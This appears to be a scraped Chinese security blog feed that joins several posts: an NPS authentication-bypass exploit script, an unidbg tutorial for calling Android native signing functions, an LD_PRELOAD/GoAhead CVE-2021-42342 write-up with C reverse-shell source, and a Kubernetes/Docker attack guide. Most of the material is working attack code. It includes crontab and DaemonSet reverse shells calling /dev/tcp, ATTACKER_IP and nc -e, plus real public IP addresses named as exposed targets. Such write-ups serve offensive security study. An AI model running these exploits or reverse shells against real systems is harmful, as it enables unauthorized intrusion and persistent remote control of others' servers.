POST /auth/gettime HTTP/1.1Host: 192.168.70.250:18080Content-Length: 7Connection: closeCookie:beegosessionID=xxxxx​search=

返回一个json字段,里面包含服务器的时间戳。

POST /auth/getauthkey HTTP/1.1Host: 192.168.70.250:18080Content-Length: 7Connection: closeCookie:beegosessionID=xxxxx​search=

返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以

AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex

进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。

如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值

"Id": 2,    "VerifyKey": "6sabs7dyn4rf1oob",    "Addr": "192.168.70.250",    "Remark": "",    "Status": true,    "IsConnect": true,

构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。

[common]server_addr=1.1.1.1:8024vkey=123[file]mode=fileserver_port=9100local_path=/root/strip_pre=/web/

这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。

xxx:9100/web

编写一个脚本来统一这个过程。

#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time    : 2022/8/16 14:13# @Author  : misakikata# @File    : nps_bypass.py# @Description : autoremove​​import argparseimport requestsimport json,sysimport hashlibfrom Crypto.Cipher import AES# from urllib.parse import urlparsefrom binascii import a2b_hexrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)​​​headers = {    "Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f",    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",    "Content-Type":"application/x-www-form-urlencoded",    "Accept":"application/json, text/javascript, */*; q=0.01"}​file_w = """[common]server_addr={host}:8024vkey={vkey}[file]mode=fileserver_port=9100local_path=/root/strip_pre=/web/"""​def get_time(host):    url = host + "/auth/gettime"    r = requests.post(url, headers=headers, data={"search":""})    time = json.loads(r.text)['time']    return time​​def gen_authkey(authkey, timestamp):    mdf = hashlib.md5()    mdf.update((authkey+str(timestamp)).encode('utf-8'))    auth_key = mdf.hexdigest()    return auth_key​​def get_key(host):    url = host + "/auth/getauthkey"    r = requests.post(url, headers=headers, data={"search": ""})    key = json.loads(r.text)['crypt_auth_key']    if key == "5acabcf051cd55abca03d18294422e01":        authkey = ""    else:        if deco_key("1234567812345678", key):            authkey = deco_key("1234567812345678", key)        else:            return False    return authkey​def add_to_16(value):    while len(value.encode('utf-8')) % 16 != 0:        value += '\x00'    return value.encode('utf-8')​def deco_key(key0,data):    try:        aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode())        decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip()        return decryptedstr    except:        return False​​def gen_conf(host, vkey):    host = host.split(':')[0:2]    file = file_w.format(host=''.join(host), vkey=vkey)    with open("config.ini", 'w') as f:        f.write(file)    return True​def get_vkey(host, data):    url = host + "/client/list"    r = requests.post(url, headers=headers, data=data)    if r.status_code == 200:        try:            vkey = json.loads(r.text)['rows'][0]['VerifyKey']            return vkey        except:            if gen_client(host, data):                print("无客户端,创建客户端成功")                r = requests.post(url, headers=headers, data=data)                vkey = json.loads(r.text)['rows'][0]['VerifyKey']                return vkey            else:                return False    else:        return False​​def gen_client(host, data):    url = host + "/client/add"    data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data    r = requests.post(url, headers=headers, data=data)    if r.status_code == 200:        if json.loads(r.text)['status'] == 1:            return True    return False​def main(host):    times = get_time(host)    if get_key(host):        getkey = get_key(host)    else:        print(host+" 解密失败!")        sys.exit(0)    auth_key = gen_authkey(getkey, times)    data = "auth_key={auth_key}&timestamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times)    r = requests.post(host, headers=headers, data=data)    if r.status_code == 200:        print(host+" is vuln!")        if get_vkey(host, data):            vkey = get_vkey(host, data)            if gen_conf(host, vkey):                print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2])))        else:            print("未创建客户端或者获取失败!")    else:        print(host+" not is vuln!")​if __name__ == '__main__':    parser = argparse.ArgumentParser(        description="NPS Bypass")    parser.add_argument('-u', '--url', type=str,                        help="单个url检测,默认密钥进行解密")    args = parser.parse_args()​    if len(sys.argv) == 3:        if sys.argv[1] in ['-u', '--url']:            main(args.url)    else:        parser.print_help()
]]>
<h3 id="nps未授权访问"><a href="#nps未授权访问" class="headerlink" title="nps未授权访问"></a>nps未授权访问</h3><p>根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测
Unidbg运行SO https://misakikata.github.io/2022/07/Unidbg运行SO/ 2022-07-09T11:56:03.000Z 2022-07-09T11:56:03.000Z 下载unidbg

地址:https://github.com/zhkl0228/unidbg

unidbg需要在IDEA端进行调试一下,等待依赖自动安装后,运行unidbg-android/src/test/java/com/bytedance/frameworks/core/encrypt/TTEncrypt.java文件。如果显示如下则代表运行正常。

image-20220708143215761

使用一个基础的模板,后续可以根据此模板来进行修改

public SignUtil() {       emulator = AndroidEmulatorBuilder.for32Bit()               .setProcessName("com.anjuke.android.app")               .build();       Memory memory = emulator.getMemory();       memory.setLibraryResolver(new AndroidResolver(23));       vm = emulator.createDalvikVM();       vm.setDvmClassFactory(new ProxyClassFactory());       vm.setVerbose(false);       DalvikModule dm = vm.loadLibrary(new File("unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libsignutil.so"), false);       cSignUtil = vm.resolveClass("com/anjuke/mobile/sign/SignUtil");       dm.callJNI_OnLoad(emulator);   }

其中需要注意的是:

  1. setProcessName为进程名,可以自己去赋值。
  2. setLibraryResolver有19、23两个SDK可以选,一般使用23。
  3. createDalvikVM的时候里面为APK的目录,可以为空。
  4. loadLibrary为需要加载到内存的so文件。
  5. resolveClass为调用了so加密函数的Java代码位置。
  6. callJNI_OnLoad为调用JNI_load,有时候这个方法会报错Illegal JNI version,这是文件修不不正常导致。

so文件测试

先用一个吾爱老哥的文件进行一下测试使用

地址:https://www.52pojie.cn/thread-1322512-1-1.html

编写一个TestJni.java,需要注意的是,这里做了一点修改,由于AndroidARMEmulator为受保护的方法,并不能直接调用,可能是unidbg做了变化,修改为AndroidEmulatorBuilder,代码为:

package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.ARMEmulator;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.linux.android.AndroidARMEmulator;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni {    // ARM模拟器    private final AndroidEmulator emulator;    // vm    private final VM vm;    // 载入的模块    private final Module module;        private final DvmClass TTEncryptUtils;    /**     *     * @param soFilePath   需要执行的so文件路径     * @param classPath    需要执行的函数所在的Java类路径     * @throws IOException     */    public TestJni(String soFilePath, String classPath) throws IOException {        // 创建app进程,包名可任意写        emulator = AndroidEmulatorBuilder                        .for32Bit()                        .addBackendFactory(new DynarmicFactory(true))                        .setProcessName("com.rs")                        .build();        Memory memory = emulator.getMemory();        // 作者支持19和23两个sdk        memory.setLibraryResolver(new AndroidResolver(23));        // 创建DalvikVM,利用apk本身,可以为null        vm = emulator.createDalvikVM((File) null);        vm.setDvmClassFactory(new ProxyClassFactory());        vm.setVerbose(true);//        vm.setJni(this);        // (关键处1)加载so,填写so的文件路径        DalvikModule dm = vm.loadLibrary(new File(soFilePath), false);        // 调用jni, 加入此代码有可能会报错 Illegal JNI version,环境原因//        dm.callJNI_OnLoad(emulator);        module = dm.getModule();        // (关键处2)加载so文件中的哪个类,填写完整的类路径        TTEncryptUtils = vm.resolveClass(classPath);    }    /**     * 调用so文件中的指定函数     * @param methodSign 传入你要执行的函数信息,需要完整的smali语法格式的函数签名     * @param args       是即将调用的函数需要的参数     * @return 函数调用结果     */    private String myJni(String methodSign, Object ...args) {        // 使用jni调用传入的函数签名对应的方法()        Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, args).getValue();        return value.toString();    }    /**     * 关闭模拟器     * @throws IOException     */    private void destroy() throws IOException {        emulator.close();        System.out.println("emulator destroy...");    }    public static void main(String[] args) throws IOException {        // 1、需要调用的so文件所在路径        String soFilePath = "unidbg-android/src/test/resources/myso/libinyu-lib.so";        // 2、需要调用加密函数所在的Java类完整路径,比如a/b/c/d等等,注意需要用/代替点,只需要填写即可。        String classPath = "water/android/io/inyustring/InyuString";        // 3、需要调用方法,再jadx中找到对应的方法,然后点击下面的Smail,复制方法的Smail代码。        String methodSign = "getUrlSign(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;";        TestJni testJni = new TestJni(soFilePath, classPath);        // 输出getGameKey方法调用结果        System.err.println(testJni.myJni(methodSign,"/v1/login/mobile/code?mobile=13888888888&country_code=0086&__plat=android&__version=2.21.0&__app=inyu","1607237431"));        testJni.destroy();    }}

其中大部分都不需要修改,只需要修改main中的参数,classPath是加密so函数的Java代码所在类,但是并不需要实际添加进去。运行的结果如下所示。

image-20220708164633607

APP

测试APP来源猿人学的一次活动

地址:http://download.python-spider.com/yuanrenxuem106.apk

WP:https://mp.weixin.qq.com/s/CXsbzt4IWyDaV006JdIYsQ

先找到这个包的包名com.yuanrenxue.match2022,基本在这个目录下,这个app做了代码混淆,先不管。

根据提示找到/app2这个接口对应的代码处。

image-20220709123156188

其中sign为加密后的字符串,搜索这个字符串,在包下面找相关的字段。

只有两处相关com.yuanrenxue.match2022.fragment.challengecom.yuanrenxue.match2022.security

在类ChallengeTwoFragment中可以看到明显的第二题代码,查看最后的sign的加密。加载了match02的so文件。

image-20220709130744364

image-20220709130754983

传入一个参数,类型为str,然后需要找个调用这个sign的地方,看上面的调用。

image-20220709140354427

这里有两个需要注意,其中v0代表的是获取string中的资源,根据对应的查找发现是%d:%d

还有一个是int类型的v1,其中 this.OooO0O0代表是page字段,这个在下面也有定义,arg5.OooO00o()赋值为long类型的v5,也就是这个是ts字段。所以v1就是一个page和ts的数组。

最后返回的时候,可以看到这个函数和一开始的是一致的。sign中的字符串格式化就是String.format("%d:%d", {page, ts})

知道传入sign的字符串参数的形式后,我们自己来调用so来输出。

package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.ARMEmulator;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.arm.backend.Unicorn2Factory;import com.github.unidbg.linux.android.AndroidARMEmulator;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni {    // ARM模拟器    private final AndroidEmulator emulator;    // vm    private final VM vm;    // 载入的模块    private final Module module;        private final DvmClass TTEncryptUtils;    public TestJni(String soFilePath, String classPath) throws IOException {        emulator = AndroidEmulatorBuilder                        .for64Bit()                        .addBackendFactory(new Unicorn2Factory(true))                        .setProcessName("com.yuanrenxue.match2022")                        .build();        Memory memory = emulator.getMemory();        memory.setLibraryResolver(new AndroidResolver(23));        vm = emulator.createDalvikVM((File) null);        vm.setDvmClassFactory(new ProxyClassFactory());        vm.setVerbose(true);        vm.setJni(this);        DalvikModule dm = vm.loadLibrary(new File(soFilePath), true);        dm.callJNI_OnLoad(emulator);        module = dm.getModule();        TTEncryptUtils = vm.resolveClass(classPath);    }    private String myJni(String methodSign, Object ...args) {        Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, args).getValue();        return value.toString();    }    private void destroy() throws IOException {        emulator.close();        System.out.println("emulator destroy...");    }    public static void main(String[] args) throws IOException {        String soFilePath = "unidbg-android/src/test/resources/myso/libmatch02.so";        String classPath = "com/yuanrenxue/match2022/fragment/challenge/ChallengeTwoFragment";        String methodSign = "sign(java/lang/String;)java/lang/String;";        TestJni testJni = new TestJni(soFilePath, classPath);        System.err.println(testJni.myJni(methodSign,"1:1657348328"));));        testJni.destroy();    }}

image-20220709144802020

然后再来看一下第四题,这个看完后发现基本跟第二题没太大区别。同样找到sign方法,里面有两个参数,去找这两个参数对应的值。

image-20220709152257853

代码为:

private void lambda$initListeners$0(o0000O arg8) {        this.OooO0O0 = 1;        long v1 = System.currentTimeMillis();        String v3 = this.getResources().getString(0x7F100053);  // string:format_match_04_sign "%d:%d"        Object[] v4 = {((int)this.OooO0O0), ((long)v1)};        oOO00O.OooO0O0.OooO0O0 v3_1 = oOO00O.OooO0O0.OooO0oO().OooO00o(this.OooO0O0);        OooO0O0 v1_1 = this.OooO0Oo;        com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o v2 = new o00O0.OooO0O0(arg8) {            public final o0000O OooO0O0;            public final ChallengeFourFragment OooO0OO;            public static final o00o00o.OooOo00.OooO00o OooO0Oo;            {                com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0OO();            }            {                ChallengeFourFragment.this = arg1;                this.OooO0O0 = arg2;                super();            }            @Override  // o00O0.OooO0O0            public void OooO0O0() {                this.OooO0O0.OooO0O0();            }            @Override  // o00O0.OooO0O0            public static void OooO0OO() {                OooO v8 = new OooO("ChallengeFourFragment.java", com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.class);                com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0Oo = v8.OooO0oO("method-execution", v8.OooO0o("1", "onError", "com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment$1", "java.lang.Throwable", "t", "", "void"), 103);            }            public static final void OooO0o(com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o arg0, Throwable arg1, OooOo00 arg2) {                arg0.super.onError(arg1);                arg1.printStackTrace();                arg0.OooO0O0.OooO0O0();            }            @Override  // o00O0.OooO0O0            public void OooO0o0(Object arg1) {                this.OooO0oO(((oOO00O.OooO0OO)arg1));            }            public void OooO0oO(oOO00O.OooO0OO arg5) {                ArrayList v0 = new ArrayList();                v0.add(new o00O000.OooO0OO("padding"));                Iterator v5 = arg5.OooO0O0().iterator();                while(v5.hasNext()) {                    v5.next();                    v0.add(new o00O000.OooO0OO(""));                }                ChallengeFourFragment.OooO(ChallengeFourFragment.this).OooO(v0);                this.OooO0O0.OooO0O0();            }            @Override  // o00O0.OooO0O0            public void onError(Throwable arg5) {                OooOo00 v0 = OooO.OooO0OO(com.yuanrenxue.match2022.fragment.challenge.ChallengeFourFragment.OooO00o.OooO0Oo, this, this, arg5);                o000O0.OooO0OO().OooO0O0(new OooOOO0(new Object[]{this, arg5, v0}).OooO0O0(0x11010));            }        };        v1_1.OooO0OO(((oOO00O.OooO0O0)v3_1.OooO0O0(this.sign(String.format(v3, v4), v1)).OooO0OO(v1).build()), v2);    }

还是字符串格式化,还是%d:%d类型的格式化,但是参数变了。v4是{((int)this.OooO0O0), ((long)v1)},而this.OooO0O0上面有赋值,应该也还是page,v1是System.currentTimeMillis(),获取当前的总毫秒数。所以第一页的时候,v4就是{1:1657351690000}

所以sign的传参就是this.sign(String.format("%d:%d", {1,1657351690000}), 1657351690000)

修改上面的Java代码来调用。

package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.arm.backend.Unicorn2Factory;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni {    // ARM模拟器    private final AndroidEmulator emulator;    // vm    private final VM vm;    // 载入的模块    private final Module module;    private final DvmClass TTEncryptUtils;    public TestJni(String soFilePath, String classPath) throws IOException {        emulator = AndroidEmulatorBuilder                        .for64Bit()                        .addBackendFactory(new DynarmicFactory(true))                        .setProcessName("com.yuanrenxue.match2022")                        .build();        Memory memory = emulator.getMemory();        memory.setLibraryResolver(new AndroidResolver(23));        vm = emulator.createDalvikVM((File) null);        vm.setDvmClassFactory(new ProxyClassFactory());        vm.setVerbose(true);        vm.setJni(this);        DalvikModule dm = vm.loadLibrary(new File(soFilePath), true);        dm.callJNI_OnLoad(emulator);        module = dm.getModule();        TTEncryptUtils = vm.resolveClass(classPath);    }    private String myJni(String methodSign, String data1, Long data2) {        Object value = TTEncryptUtils.callStaticJniMethodObject(emulator, methodSign, data1, data2).getValue();        return value.toString();    }    private void destroy() throws IOException {        emulator.close();        System.out.println("emulator destroy...");    }    public static void main(String[] args) throws IOException {        String soFilePath = "unidbg-android/src/test/resources/myso/libmatch04.so";        String classPath = "com/yuanrenxue/match2022/fragment/challenge/ChallengeFourFragment";        String methodSign = "sign(java/lang/String;J)java/lang/String;";        TestJni testJni = new TestJni(soFilePath, classPath);        System.err.println(testJni.myJni(methodSign,"1:1657351690000", 1657351690000L));));        testJni.destroy();    }}

结果为:

image-20220709154136336

备注:

这里是记录一些类型的描述符,方便后续修改查询

变量类型类型描述符包装类包装类类型描述符(包含分号)
intI(大写i)IntegerLjava/lang/Integer;
shortSShortLjava/lang/Short;
longJLongLjava/lang/Long;
booleanZBooleanLjava/lang/Boolean;
charCCharacterLjava/lang/Character;
byteBByteLjava/lang/Byte;
floatFFloatLjava/lang/Float;
doubleDDoubleLjava/lang/Double;
voidVVoidLjava/lang/Void;
ObjectL+类名(使用’/‘作为分隔符)+;如: Ljava/lang/Object;Lorg/objectweb/asm/MethodVisitor;//
StringLjava/lang/String;//
————–数组写法:——–—————-
X的N维数组N个[+X的类型描述符//
int[][I(大写的i)//
byte[][][[B//
String[][Ljava/lang/String;//
Object[][][[Ljava/lang/Object;//

方法描述符

源文件中的方法声明方法描述符说明
void m(int i, float f)(IF)V接收一个int和float型参数且无返回值
int m(Object o)(Ljava/lang/Object;)I接收Object型参数返回int
int[] m(int i, String s)(ILjava/lang/String;)[I接受int和String返回一个int[]
Object m(int[] i)([I)Ljava/lang/Object;接受一个int[]返回Object

参考文章

https://zhuanlan.zhihu.com/p/407839659

https://zhuanlan.zhihu.com/p/425355837

https://mp.weixin.qq.com/s/CXsbzt4IWyDaV006JdIYsQ

https://www.52pojie.cn/thread-1322512-1-1.html

]]>
<h3 id="下载unidbg"><a href="#下载unidbg" class="headerlink" title="下载unidbg"></a>下载unidbg</h3><p>地址:<a href="https://github.com/zhkl0228/unidbg
LD_PRELOAD变量注入 https://misakikata.github.io/2022/07/LD-PRELOAD变量注入/ 2022-07-01T10:31:39.000Z 2022-07-01T10:31:39.251Z 环境变量注入

前两天看到一个ACTF的WP,由于没有参加,所以不太清楚题目,但是其中有一个gogogo的题目,利用的是环境变量的注入方式,而且还是LD_PRELOAD劫持。这个漏洞是GoAhead的一个CVE-2021-42342。

CVE-2021-42342

先复现一下这个漏洞,直接利用vulhub的靶场,/vulhub/goahead/CVE-2021-42342

访问http://127.0.0.1:8080/cgi-bin/index,在这个地方上传一个恶意的so文件。

#include<stdio.h>#include<stdlib.h>#include<sys/socket.h>#include<netinet/in.h>char *server_ip="192.168.36.138";uint32_t server_port=1234;static void reverse_shell(void) __attribute__((constructor));static void reverse_shell(void){    int sock = socket(AF_INET, SOCK_STREAM, 0);    struct sockaddr_in attacker_addr = {0};    attacker_addr.sin_family = AF_INET;    attacker_addr.sin_port = htons(server_port);    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)        exit(0);    dup2(sock, 0);    dup2(sock, 1);    dup2(sock, 2);    execve("/bin/bash", 0, 0);}

编译如上的文件

gcc -s -shared -fPIC ./hack.c -o hack.so  #由于对so有大小限制,这里才带-s参数。

生成一个so文件后,可以直接利用给出的poc.py发送。或者也可以利用BURP构造包来发送。

python poc.py http://127.0.0.1:8080/cgi-bin/index hack.so

如果需要使用burp来构造包则需要注意一点就是保持文件描述符不被关闭,关闭选项上repeater的第一个update选项,同时修改包中的Content-Length长度,由于我的so是14384字节,这里改成15000.最后再用多余的字节填充到比15000多一些即可。

image-20220701155215245

LD_PRELOAD

通过上面这个漏洞的利用,可以看到使用了LD_PRELOAD这个环境变量,这个东西影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。

LD_PRELOAD环境变量相信都在PHP绕过disable_function函数的时候见过,就是利用劫持进行覆写相关的函数来执行恶意的so。

如果需要实现这种注入攻击的方式,则至少需要满足:

  1. 能够上传自己的.so文件
  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

如果还需要绕过disable_function,还需要一个外部功能的函数可以执行,常见的比如PHP的mail函数。

这里用一个编写的demo,比如我们想劫持/usr/bin/grep命令,可以先查看ls的动态链接库文件,readelf -Ws来查看。

image-20220701163415305

这里我们选用strcpy@GLIBC_2.2.5 (3)这个链接库。

#include <stdlib.h>#include <stdio.h>#include <string.h>​void payload() {    system("id");}​char *strcpy(char *dest, const char *src) {   //需要搜索查看函数的原型    if (getenv("LD_PRELOAD") == NULL) {        return 0;    }    unsetenv("LD_PRELOAD");    payload();}

或者,这个__attribute__((constructor))的意思是先于main()函数调用 ,这种情况下大部分函数都可以劫持到。

#include <unistd.h>​static void before(void) __attribute__((constructor));​static void before(void){    unsetenv("LD_PRELOAD");    system("id");}

编译

gcc -s hack.c -fPIC -shared -o hack.so

把这个so加入到环境变量中

export LD_PRELOAD=$PWD/hack.so

image-20220701163438797

禁用

使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

参考文章:

https://tttang.com/archive/1399/

https://mp.weixin.qq.com/s/Y_02LhQsGa8jhoA7qmSWLw

https://forum.butian.net/share/1493

]]>
<h3 id="环境变量注入"><a href="#环境变量注入" class="headerlink" title="环境变量注入"></a>环境变量注入</h3><p>前两天看到一个ACTF的WP,由于没有参加,所以不太清楚题目,但是其中有一个gogogo的题目,利用的是环境
云容器安全 https://misakikata.github.io/2022/03/云容器安全/ 2022-03-22T08:24:43.000Z 2022-03-22T08:27:56.463Z 云容器安全初识

API Server未授权访问

利用两个外部的环境:http://34.219.148.35:8080/http://212.193.88.186:8080/

API Server 默认会开启两个端口:80806443
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous   //使6443 端口允许匿名用户

直接访问 8080 端口会返回可用的 API 列表,如:

{  "paths": [    "/api",    "/api/v1",    "/apis",    "/apis/extensions",    "/apis/extensions/v1beta1",    "/healthz",    "/healthz/ping",    "/logs/",    "/metrics",    "/resetMetrics",    "/swagger-ui/",    "/swaggerapi/",    "/ui/",    "/version"  ]}

而直接访问 6443 端口会提示无权限:`User “system:anonymous” cannot get at the cluster scope.

如果安装了dashboard,访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。

Kubernetes 官方提供了一个命令行工具 kubectl

// 获得所有节点kubectl -s http://34.219.148.35:8080/ get nodes// 获得所有容器kubectl -s http://34.219.148.35:8080/ get pods --all-namespaces=true// 在 myapp 容器获得一个交互式 shellkubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash

根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。

apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: test-container    volumeMounts:    - mountPath: /mnt      name: test-volume  volumes:  - name: test-volume    hostPath:      path: /

然后使用 kubectl 创建容器:

// 由 myapp.yaml 创建容器kubectl -s http://34.219.148.35:8080/http://34.219.148.35:8080/ create -f myapp.yaml​// 等待容器创建完成// 获得 myapp 的交互式 shellkubectl -s http://34.219.148.35:8080/ exec myapp --namespace=default -it -- bash​// 向 crontab 写入反弹 shell 的定时任务echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab​// 也可以用 python 反弹 shellecho -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

image-20220311143128477

如果不需要反弹shell,只需要在docker内执行命令的话

kubectl -s http://34.219.148.35:8080/ exec myapp -it -- ls /etc

以上使用的端口为8080,如果需要使用6443,则需要将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

使用shodan上的一个环境https://34.209.45.207:6443/。

查看pods:

https://34.209.45.207:6443/api/v1/namespaces/default/pods?limit=500

image-20220311160028406

添加一个pods

https://34.209.45.207:6443/api/v1/namespaces/default/pods

发送一段json数据

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

image-20220311162415147

执行命令,

https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

提示错误,对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。

{  "kind": "Status",  "apiVersion": "v1",  "metadata": {​  },  "status": "Failure",  "message": "Upgrade request required",  "reason": "BadRequest",  "code": 400}

利用wscat,地址:https://github.com/websockets/wscat/archive/refs/tags/3.0.0.zip

较新的版本只支持ws开头的协议,这里换个老点的版本

./wscat -n -c "https://34.209.45.207:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=id"

利用yaml创建反弹shell

前提需要容器逃逸,在控制节点上创建。

apiVersion: apps/v1kind: DaemonSetmetadata:  name: kube-cache-node1  namespace: kube-systemspec:  selector:    matchLabels:      app: kube-cache-node1  template:    metadata:      labels:        app: kube-cache-node1    spec:      hostNetwork: true      hostPID: true      containers:      - name: main        image: bash        imagePullPolicy: IfNotPresent        command: ["bash"]        # reverse shell        args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]        securityContext:          privileged: true        volumeMounts:        - mountPath: /host          name: host-root      volumes:      - name: host-root        hostPath:          path: /          type: Directory

利用容器逃逸后的shell在目标控制节点上将上述内容保存为kiit.yaml并执行:

kubectl apply -f kiit.yaml

Docker Daemon服务暴露至公网

Client上使用命令后,会发送对应的请求到API,也就是Docker Daemon服务。然后docker会去对应的Registry仓库拉取镜像创建容器。

这个服务本地会暴露在unix:///var/run/docker.sock上,如果容器中有权限访问到这个文件,就可以对宿主机的所有容器进行操作。

比如:http://68.183.144.186:2375/

直接访问,或者使用docker访问

docker -H tcp://68.183.144.186:2375 info

查看docker下的镜像

docker -H tcp://68.183.144.186:2375 images

创建容器,利用bash和crontab计划任务向宿主机写入shell:

centos系统挂载路径为 /var/spool/cron/root;ubuntu系统为/var/spool/cron/crontabs/root;

# 查看宿主机可用镜像docker -H tcp://68.183.144.186:2375 image​# 启动刚刚创建的容器并连接docker -H tcp://51.195.28.76:2375 start ct_iddocker -H tcp://51.195.28.76:2375 exec -it --user root ct_id /bin/bash

image-20220314143117085

使用镜像来创建一个容器

docker -H tcp://68.183.144.186:2375 run -it -v /var/spool/cron/:/var/spool/cron/ dcf4d4bef137 /bin/bash

启动成功后,自动进入了这个容器内

image-20220314143537187

写入反弹shell

root@177ac63fbb2f:/# echo '* * * * * bash -i >& /dev/tcp/158.247.216.146/8899 0>&1' >> /var/spool/cron/root

但是这个容器并没有启动,退出后会发现这个容器也停止了。需要先把这个容器启动运行。

docker -H tcp://68.183.144.186:2375 ps -adocker -H tcp://68.183.144.186:2375 start 8f351dbd41d7docker -H tcp://68.183.144.186:2375 exec -it --user root 8f351dbd41d7 /bin/bash

image-20220314151745747

或者使用python来执行,例如

import docker​client = docker.DockerClient(base_url='http://192.168.11.160:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Kubelet 10250端口未授权访问

